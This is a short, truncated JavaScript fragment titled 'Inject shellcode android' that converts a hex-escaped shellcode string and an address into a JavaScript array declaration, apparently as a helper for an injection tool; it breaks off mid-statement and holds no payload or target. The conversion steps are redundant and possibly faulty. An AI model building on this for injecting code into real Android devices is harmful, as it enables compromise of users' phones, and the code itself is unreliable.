Inject shellcode android

function inject_shellcode_android() {
    var shellcode = app.shellcode;
    var addr = app.addr;
    shellcode = shellcode.replace(/\s+/g, '');
    shellcode = shellcode.replace(/\\x/g, ',');
    shellcode = shellcode.substring(1);
    shellcode = shellcode.substring(0, shellcode.length - 1);
    shellcode = shellcode.split(',');
    shellcode = shellcode.map(function(item) {
        return String.fromCharCode(parseInt(item, 16));
    });
    shellcode = shellcode.join('');
    shellcode = shellcode.split('');
    shellcode = shellcode.map(function(item) {
        return item.charCodeAt(0);
    });
    shellcode = shellcode.join(',');
    shellcode = 'var shellcode = [' + shellcode + '];';
    addr = parseInt(addr, 16);
    addr = addr.toString(